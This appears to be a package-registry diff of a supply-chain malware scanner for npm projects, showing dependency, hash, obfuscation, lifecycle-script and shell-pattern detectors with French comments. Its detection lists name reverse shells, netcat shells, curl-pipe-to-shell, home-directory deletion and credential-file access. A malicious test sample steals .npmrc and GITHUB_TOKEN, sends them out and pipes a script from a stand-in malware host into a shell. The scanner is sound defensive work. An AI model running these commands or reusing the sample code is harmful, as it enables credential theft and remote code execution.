muaddib-scanner 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.github/workflows/scan.yml +33 -0
- package/LICENSE +21 -0
- package/MUADDIBLOGO.png +0 -0
- package/README.md +218 -0
- package/action/action.yml +28 -0
- package/bin/muaddib.js +84 -0
- package/data/iocs.json +38 -0
- package/docs/threat-model.md +116 -0
- package/iocs/hashes.yaml +220 -0
- package/iocs/packages.yaml +265 -0
- package/package.json +43 -0
- package/results.sarif +379 -0
- package/src/index.js +142 -0
- package/src/ioc/feeds.js +42 -0
- package/src/ioc/updater.js +244 -0
- package/src/ioc/yaml-loader.js +96 -0
- package/src/report.js +152 -0
- package/src/response/playbooks.js +115 -0
- package/src/rules/index.js +197 -0
- package/src/sarif.js +74 -0
- package/src/scanner/ast.js +175 -0
- package/src/scanner/dataflow.js +167 -0
- package/src/scanner/dependencies.js +110 -0
- package/src/scanner/hash.js +68 -0
- package/src/scanner/obfuscation.js +99 -0
- package/src/scanner/package.js +60 -0
- package/src/scanner/shell.js +63 -0
- package/src/watch.js +37 -0
- package/test/samples/malicious.js +20 -0
- package/tests/run-tests.js +363 -0
- package/tests/samples/ast/malicious.js +20 -0
- package/tests/samples/clean/safe.js +14 -0
- package/tests/samples/dataflow/exfiltration.js +20 -0
- package/tests/samples/edge/empty/empty.js +0 -0
- package/tests/samples/edge/invalid-syntax/broken.js +5 -0
- package/tests/samples/edge/large-file/large.js +6 -0
- package/tests/samples/edge/non-js/readme.txt +3 -0
- package/tests/samples/markers/shai-hulud.js +10 -0
- package/tests/samples/obfuscation/obfuscated.js +1 -0
- package/tests/samples/package/package.json +9 -0
- package/tests/samples/shell/malicious.sh +13 -0
|
@@ -0,0 +1,110 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const { loadCachedIOCs } = require('../ioc/updater.js');
|
|
4
|
+
|
|
5
|
+
async function scanDependencies(targetPath) {
|
|
6
|
+
const threats = [];
|
|
7
|
+
const nodeModulesPath = path.join(targetPath, 'node_modules');
|
|
8
|
+
const iocs = loadCachedIOCs();
|
|
9
|
+
|
|
10
|
+
if (!fs.existsSync(nodeModulesPath)) {
|
|
11
|
+
return threats;
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
const packages = listPackages(nodeModulesPath);
|
|
15
|
+
|
|
16
|
+
for (const pkg of packages) {
|
|
17
|
+
// Verifie si package connu malveillant (IOCs caches)
|
|
18
|
+
const maliciousPkg = iocs.packages.find(p => p.name === pkg.name);
|
|
19
|
+
if (maliciousPkg) {
|
|
20
|
+
threats.push({
|
|
21
|
+
type: 'known_malicious_package',
|
|
22
|
+
severity: 'CRITICAL',
|
|
23
|
+
message: `Package malveillant connu: ${pkg.name} (source: ${maliciousPkg.source})`,
|
|
24
|
+
file: `node_modules/${pkg.name}`
|
|
25
|
+
});
|
|
26
|
+
continue;
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
// Verifie les fichiers suspects (IOCs caches)
|
|
30
|
+
for (const suspFile of iocs.files || []) {
|
|
31
|
+
const filePath = path.join(pkg.path, suspFile);
|
|
32
|
+
if (fs.existsSync(filePath)) {
|
|
33
|
+
threats.push({
|
|
34
|
+
type: 'suspicious_file',
|
|
35
|
+
severity: 'CRITICAL',
|
|
36
|
+
message: `Fichier Shai-Hulud "${suspFile}" dans ${pkg.name}`,
|
|
37
|
+
file: `node_modules/${pkg.name}/${suspFile}`
|
|
38
|
+
});
|
|
39
|
+
}
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
// Verifie les marqueurs dans package.json
|
|
43
|
+
const pkgJsonPath = path.join(pkg.path, 'package.json');
|
|
44
|
+
if (fs.existsSync(pkgJsonPath)) {
|
|
45
|
+
const pkgContent = fs.readFileSync(pkgJsonPath, 'utf8');
|
|
46
|
+
const pkgJson = JSON.parse(pkgContent);
|
|
47
|
+
const scripts = pkgJson.scripts || {};
|
|
48
|
+
|
|
49
|
+
// Verifie les marqueurs Shai-Hulud
|
|
50
|
+
for (const marker of iocs.markers || []) {
|
|
51
|
+
if (pkgContent.includes(marker)) {
|
|
52
|
+
threats.push({
|
|
53
|
+
type: 'shai_hulud_marker',
|
|
54
|
+
severity: 'CRITICAL',
|
|
55
|
+
message: `Marqueur "${marker}" detecte dans ${pkg.name}`,
|
|
56
|
+
file: `node_modules/${pkg.name}/package.json`
|
|
57
|
+
});
|
|
58
|
+
}
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
// Verifie les lifecycle scripts
|
|
62
|
+
if (scripts.preinstall || scripts.postinstall) {
|
|
63
|
+
threats.push({
|
|
64
|
+
type: 'lifecycle_script_dependency',
|
|
65
|
+
severity: 'MEDIUM',
|
|
66
|
+
message: `Dependance "${pkg.name}" a un script ${scripts.preinstall ? 'preinstall' : 'postinstall'}`,
|
|
67
|
+
file: `node_modules/${pkg.name}/package.json`
|
|
68
|
+
});
|
|
69
|
+
}
|
|
70
|
+
}
|
|
71
|
+
}
|
|
72
|
+
|
|
73
|
+
return threats;
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
function listPackages(nodeModulesPath) {
|
|
77
|
+
const packages = [];
|
|
78
|
+
const items = fs.readdirSync(nodeModulesPath);
|
|
79
|
+
|
|
80
|
+
for (const item of items) {
|
|
81
|
+
if (item.startsWith('.')) continue;
|
|
82
|
+
|
|
83
|
+
const itemPath = path.join(nodeModulesPath, item);
|
|
84
|
+
const stat = fs.statSync(itemPath);
|
|
85
|
+
|
|
86
|
+
if (!stat.isDirectory()) continue;
|
|
87
|
+
|
|
88
|
+
if (item.startsWith('@')) {
|
|
89
|
+
const scopedItems = fs.readdirSync(itemPath);
|
|
90
|
+
for (const scopedItem of scopedItems) {
|
|
91
|
+
const scopedPath = path.join(itemPath, scopedItem);
|
|
92
|
+
if (fs.statSync(scopedPath).isDirectory()) {
|
|
93
|
+
packages.push({
|
|
94
|
+
name: `${item}/${scopedItem}`,
|
|
95
|
+
path: scopedPath
|
|
96
|
+
});
|
|
97
|
+
}
|
|
98
|
+
}
|
|
99
|
+
} else {
|
|
100
|
+
packages.push({
|
|
101
|
+
name: item,
|
|
102
|
+
path: itemPath
|
|
103
|
+
});
|
|
104
|
+
}
|
|
105
|
+
}
|
|
106
|
+
|
|
107
|
+
return packages;
|
|
108
|
+
}
|
|
109
|
+
|
|
110
|
+
module.exports = { scanDependencies };
|
|
@@ -0,0 +1,68 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const crypto = require('crypto');
|
|
4
|
+
const { loadCachedIOCs } = require('../ioc/updater.js');
|
|
5
|
+
|
|
6
|
+
async function scanHashes(targetPath) {
|
|
7
|
+
const threats = [];
|
|
8
|
+
const iocs = loadCachedIOCs();
|
|
9
|
+
const knownHashes = iocs.hashes || [];
|
|
10
|
+
|
|
11
|
+
if (knownHashes.length === 0) {
|
|
12
|
+
return threats;
|
|
13
|
+
}
|
|
14
|
+
|
|
15
|
+
const nodeModulesPath = path.join(targetPath, 'node_modules');
|
|
16
|
+
|
|
17
|
+
if (!fs.existsSync(nodeModulesPath)) {
|
|
18
|
+
return threats;
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
const jsFiles = findAllJsFiles(nodeModulesPath);
|
|
22
|
+
|
|
23
|
+
for (const file of jsFiles) {
|
|
24
|
+
const hash = computeHash(file);
|
|
25
|
+
|
|
26
|
+
if (knownHashes.includes(hash)) {
|
|
27
|
+
threats.push({
|
|
28
|
+
type: 'known_malicious_hash',
|
|
29
|
+
severity: 'CRITICAL',
|
|
30
|
+
message: `Hash malveillant detecte: ${hash.substring(0, 16)}...`,
|
|
31
|
+
file: path.relative(targetPath, file)
|
|
32
|
+
});
|
|
33
|
+
}
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
return threats;
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
function computeHash(filePath) {
|
|
40
|
+
const content = fs.readFileSync(filePath);
|
|
41
|
+
return crypto.createHash('sha256').update(content).digest('hex');
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
function findAllJsFiles(dir, results = []) {
|
|
45
|
+
if (!fs.existsSync(dir)) return results;
|
|
46
|
+
|
|
47
|
+
const items = fs.readdirSync(dir);
|
|
48
|
+
|
|
49
|
+
for (const item of items) {
|
|
50
|
+
const fullPath = path.join(dir, item);
|
|
51
|
+
|
|
52
|
+
try {
|
|
53
|
+
const stat = fs.statSync(fullPath);
|
|
54
|
+
|
|
55
|
+
if (stat.isDirectory()) {
|
|
56
|
+
findAllJsFiles(fullPath, results);
|
|
57
|
+
} else if (item.endsWith('.js')) {
|
|
58
|
+
results.push(fullPath);
|
|
59
|
+
}
|
|
60
|
+
} catch (e) {
|
|
61
|
+
// Ignore les erreurs de permission
|
|
62
|
+
}
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
return results;
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
module.exports = { scanHashes, computeHash };
|
|
@@ -0,0 +1,99 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
|
|
4
|
+
function detectObfuscation(targetPath) {
|
|
5
|
+
const threats = [];
|
|
6
|
+
const files = findJsFiles(targetPath);
|
|
7
|
+
|
|
8
|
+
for (const file of files) {
|
|
9
|
+
const content = fs.readFileSync(file, 'utf8');
|
|
10
|
+
const relativePath = path.relative(targetPath, file);
|
|
11
|
+
|
|
12
|
+
const signals = [];
|
|
13
|
+
let score = 0;
|
|
14
|
+
|
|
15
|
+
// 1. Ratio code sur une seule ligne
|
|
16
|
+
const lines = content.split('\n').filter(l => l.trim());
|
|
17
|
+
const longLines = lines.filter(l => l.length > 500);
|
|
18
|
+
if (lines.length > 0 && longLines.length / lines.length > 0.3) {
|
|
19
|
+
score += 25;
|
|
20
|
+
signals.push('long_single_lines');
|
|
21
|
+
}
|
|
22
|
+
|
|
23
|
+
// 2. Hex escapes massifs
|
|
24
|
+
const hexMatches = content.match(/\\x[0-9a-fA-F]{2}/g) || [];
|
|
25
|
+
if (hexMatches.length > 20) {
|
|
26
|
+
score += 25;
|
|
27
|
+
signals.push('hex_escapes');
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
// 3. Unicode escapes massifs
|
|
31
|
+
const unicodeMatches = content.match(/\\u[0-9a-fA-F]{4}/g) || [];
|
|
32
|
+
if (unicodeMatches.length > 20) {
|
|
33
|
+
score += 20;
|
|
34
|
+
signals.push('unicode_escapes');
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
// 4. Variables style obfuscateur (_0x, _0xabc)
|
|
38
|
+
const obfuscatedVars = content.match(/\b_0x[a-f0-9]+\b/gi) || [];
|
|
39
|
+
if (obfuscatedVars.length > 5) {
|
|
40
|
+
score += 30;
|
|
41
|
+
signals.push('obfuscated_variables');
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
// 5. String arrays suspects
|
|
45
|
+
if (/var\s+\w+\s*=\s*\[(['"][^'"]{0,50}['"],?\s*){10,}\]/.test(content)) {
|
|
46
|
+
score += 25;
|
|
47
|
+
signals.push('string_array');
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
// 6. atob/btoa avec eval
|
|
51
|
+
if (/atob\s*\(/.test(content) && /(eval|Function)\s*\(/.test(content)) {
|
|
52
|
+
score += 30;
|
|
53
|
+
signals.push('base64_eval');
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
if (score >= 40) {
|
|
57
|
+
threats.push({
|
|
58
|
+
type: 'obfuscation_detected',
|
|
59
|
+
severity: score >= 70 ? 'CRITICAL' : 'HIGH',
|
|
60
|
+
message: `Code obfusque (score: ${score}). Signaux: ${signals.join(', ')}`,
|
|
61
|
+
file: relativePath
|
|
62
|
+
});
|
|
63
|
+
}
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
return threats;
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
const EXCLUDED_DIRS = [
|
|
70
|
+
'test',
|
|
71
|
+
'node_modules',
|
|
72
|
+
'.git',
|
|
73
|
+
'src'
|
|
74
|
+
];
|
|
75
|
+
|
|
76
|
+
function findJsFiles(dir) {
|
|
77
|
+
const results = [];
|
|
78
|
+
|
|
79
|
+
if (!fs.existsSync(dir)) return results;
|
|
80
|
+
|
|
81
|
+
const items = fs.readdirSync(dir);
|
|
82
|
+
|
|
83
|
+
for (const item of items) {
|
|
84
|
+
if (EXCLUDED_DIRS.includes(item)) continue;
|
|
85
|
+
|
|
86
|
+
const fullPath = path.join(dir, item);
|
|
87
|
+
const stat = fs.statSync(fullPath);
|
|
88
|
+
|
|
89
|
+
if (stat.isDirectory()) {
|
|
90
|
+
results.push(...findJsFiles(fullPath));
|
|
91
|
+
} else if (item.endsWith('.js')) {
|
|
92
|
+
results.push(fullPath);
|
|
93
|
+
}
|
|
94
|
+
}
|
|
95
|
+
|
|
96
|
+
return results;
|
|
97
|
+
}
|
|
98
|
+
|
|
99
|
+
module.exports = { detectObfuscation };
|
|
@@ -0,0 +1,60 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
|
|
4
|
+
const SUSPICIOUS_SCRIPTS = [
|
|
5
|
+
'preinstall',
|
|
6
|
+
'postinstall',
|
|
7
|
+
'preuninstall',
|
|
8
|
+
'postuninstall'
|
|
9
|
+
];
|
|
10
|
+
|
|
11
|
+
const DANGEROUS_PATTERNS = [
|
|
12
|
+
{ pattern: /curl\s+.*\|.*sh/, name: 'curl_pipe_sh' },
|
|
13
|
+
{ pattern: /wget\s+.*\|.*sh/, name: 'wget_pipe_sh' },
|
|
14
|
+
{ pattern: /eval\s*\(/, name: 'eval_usage' },
|
|
15
|
+
{ pattern: /child_process/, name: 'child_process' },
|
|
16
|
+
{ pattern: /\.npmrc/, name: 'npmrc_access' },
|
|
17
|
+
{ pattern: /GITHUB_TOKEN/, name: 'github_token_access' },
|
|
18
|
+
{ pattern: /AWS_/, name: 'aws_credential_access' },
|
|
19
|
+
{ pattern: /base64/, name: 'base64_encoding' }
|
|
20
|
+
];
|
|
21
|
+
|
|
22
|
+
async function scanPackageJson(targetPath) {
|
|
23
|
+
const threats = [];
|
|
24
|
+
const pkgPath = path.join(targetPath, 'package.json');
|
|
25
|
+
|
|
26
|
+
if (!fs.existsSync(pkgPath)) {
|
|
27
|
+
return threats;
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
|
|
31
|
+
const scripts = pkg.scripts || {};
|
|
32
|
+
|
|
33
|
+
for (const scriptName of SUSPICIOUS_SCRIPTS) {
|
|
34
|
+
if (scripts[scriptName]) {
|
|
35
|
+
const scriptContent = scripts[scriptName];
|
|
36
|
+
|
|
37
|
+
threats.push({
|
|
38
|
+
type: 'lifecycle_script',
|
|
39
|
+
severity: 'MEDIUM',
|
|
40
|
+
message: `Script "${scriptName}" detecte. Vecteur d'attaque courant.`,
|
|
41
|
+
file: 'package.json'
|
|
42
|
+
});
|
|
43
|
+
|
|
44
|
+
for (const { pattern, name } of DANGEROUS_PATTERNS) {
|
|
45
|
+
if (pattern.test(scriptContent)) {
|
|
46
|
+
threats.push({
|
|
47
|
+
type: name,
|
|
48
|
+
severity: 'HIGH',
|
|
49
|
+
message: `Pattern dangereux "${name}" dans script "${scriptName}".`,
|
|
50
|
+
file: 'package.json'
|
|
51
|
+
});
|
|
52
|
+
}
|
|
53
|
+
}
|
|
54
|
+
}
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
return threats;
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
module.exports = { scanPackageJson };
|
|
@@ -0,0 +1,63 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
|
|
4
|
+
const MALICIOUS_PATTERNS = [
|
|
5
|
+
{ pattern: /curl.*\|.*sh/, name: 'curl_pipe_shell', severity: 'HIGH' },
|
|
6
|
+
{ pattern: /wget.*&&.*chmod.*\+x/, name: 'wget_chmod_exec', severity: 'HIGH' },
|
|
7
|
+
{ pattern: /bash\s+-i\s+>&\s+\/dev\/tcp/, name: 'reverse_shell', severity: 'CRITICAL' },
|
|
8
|
+
{ pattern: /nc\s+-e\s+\/bin\/(ba)?sh/, name: 'netcat_shell', severity: 'CRITICAL' },
|
|
9
|
+
{ pattern: /rm\s+-rf\s+(~\/|\$HOME|\/home)/, name: 'home_deletion', severity: 'CRITICAL' },
|
|
10
|
+
{ pattern: /shred.*\$HOME/, name: 'shred_home', severity: 'CRITICAL' },
|
|
11
|
+
{ pattern: /curl.*-X\s*POST.*-d/, name: 'curl_exfiltration', severity: 'HIGH' },
|
|
12
|
+
{ pattern: /\.npmrc/, name: 'npmrc_access', severity: 'HIGH' },
|
|
13
|
+
{ pattern: /\.ssh/, name: 'ssh_access', severity: 'HIGH' }
|
|
14
|
+
];
|
|
15
|
+
|
|
16
|
+
async function scanShellScripts(targetPath) {
|
|
17
|
+
const threats = [];
|
|
18
|
+
|
|
19
|
+
// Cherche les fichiers .sh
|
|
20
|
+
const files = findFiles(targetPath, '.sh');
|
|
21
|
+
|
|
22
|
+
for (const file of files) {
|
|
23
|
+
const content = fs.readFileSync(file, 'utf8');
|
|
24
|
+
|
|
25
|
+
for (const { pattern, name, severity } of MALICIOUS_PATTERNS) {
|
|
26
|
+
if (pattern.test(content)) {
|
|
27
|
+
threats.push({
|
|
28
|
+
type: name,
|
|
29
|
+
severity: severity,
|
|
30
|
+
message: `Pattern malveillant "${name}" detecte.`,
|
|
31
|
+
file: path.relative(targetPath, file)
|
|
32
|
+
});
|
|
33
|
+
}
|
|
34
|
+
}
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
return threats;
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
function findFiles(dir, extension) {
|
|
41
|
+
const results = [];
|
|
42
|
+
|
|
43
|
+
if (!fs.existsSync(dir)) return results;
|
|
44
|
+
|
|
45
|
+
const items = fs.readdirSync(dir);
|
|
46
|
+
|
|
47
|
+
for (const item of items) {
|
|
48
|
+
if (item === 'node_modules' || item === '.git') continue;
|
|
49
|
+
|
|
50
|
+
const fullPath = path.join(dir, item);
|
|
51
|
+
const stat = fs.statSync(fullPath);
|
|
52
|
+
|
|
53
|
+
if (stat.isDirectory()) {
|
|
54
|
+
results.push(...findFiles(fullPath, extension));
|
|
55
|
+
} else if (item.endsWith(extension)) {
|
|
56
|
+
results.push(fullPath);
|
|
57
|
+
}
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
return results;
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
module.exports = { scanShellScripts };
|
package/src/watch.js
ADDED
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const { run } = require('./index.js');
|
|
4
|
+
|
|
5
|
+
let debounceTimer = null;
|
|
6
|
+
|
|
7
|
+
function watch(targetPath) {
|
|
8
|
+
console.log(`[MUADDIB] Surveillance de ${targetPath}\n`);
|
|
9
|
+
console.log('[INFO] Ctrl+C pour arreter\n');
|
|
10
|
+
|
|
11
|
+
// Scan initial
|
|
12
|
+
run(targetPath, { json: false });
|
|
13
|
+
|
|
14
|
+
// Surveille les changements
|
|
15
|
+
const watchPaths = [
|
|
16
|
+
path.join(targetPath, 'package.json'),
|
|
17
|
+
path.join(targetPath, 'package-lock.json'),
|
|
18
|
+
path.join(targetPath, 'node_modules')
|
|
19
|
+
];
|
|
20
|
+
|
|
21
|
+
for (const watchPath of watchPaths) {
|
|
22
|
+
if (fs.existsSync(watchPath)) {
|
|
23
|
+
fs.watch(watchPath, { recursive: true }, (eventType, filename) => {
|
|
24
|
+
if (debounceTimer) clearTimeout(debounceTimer);
|
|
25
|
+
|
|
26
|
+
debounceTimer = setTimeout(() => {
|
|
27
|
+
console.log(`\n[CHANGE] ${filename} modifie`);
|
|
28
|
+
console.log('[MUADDIB] Re-scan...\n');
|
|
29
|
+
run(targetPath, { json: false });
|
|
30
|
+
}, 1000);
|
|
31
|
+
});
|
|
32
|
+
console.log(`[WATCH] ${watchPath}`);
|
|
33
|
+
}
|
|
34
|
+
}
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
module.exports = { watch };
|
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
// Exemple de code malveillant style Shai-Hulud
|
|
2
|
+
const fs = require('fs');
|
|
3
|
+
const https = require('https');
|
|
4
|
+
const { exec } = require('child_process');
|
|
5
|
+
|
|
6
|
+
// Vol de credentials
|
|
7
|
+
const npmrc = fs.readFileSync(process.env.HOME + '/.npmrc', 'utf8');
|
|
8
|
+
const token = process.env.GITHUB_TOKEN;
|
|
9
|
+
|
|
10
|
+
// Exfiltration
|
|
11
|
+
const data = JSON.stringify({ npmrc, token });
|
|
12
|
+
const req = https.request('https://api.github.com/repos', {
|
|
13
|
+
method: 'POST',
|
|
14
|
+
headers: { 'Content-Type': 'application/json' }
|
|
15
|
+
});
|
|
16
|
+
req.write(data);
|
|
17
|
+
req.end();
|
|
18
|
+
|
|
19
|
+
// Execution de commande
|
|
20
|
+
exec('curl https://malware.com/payload.sh | sh');
|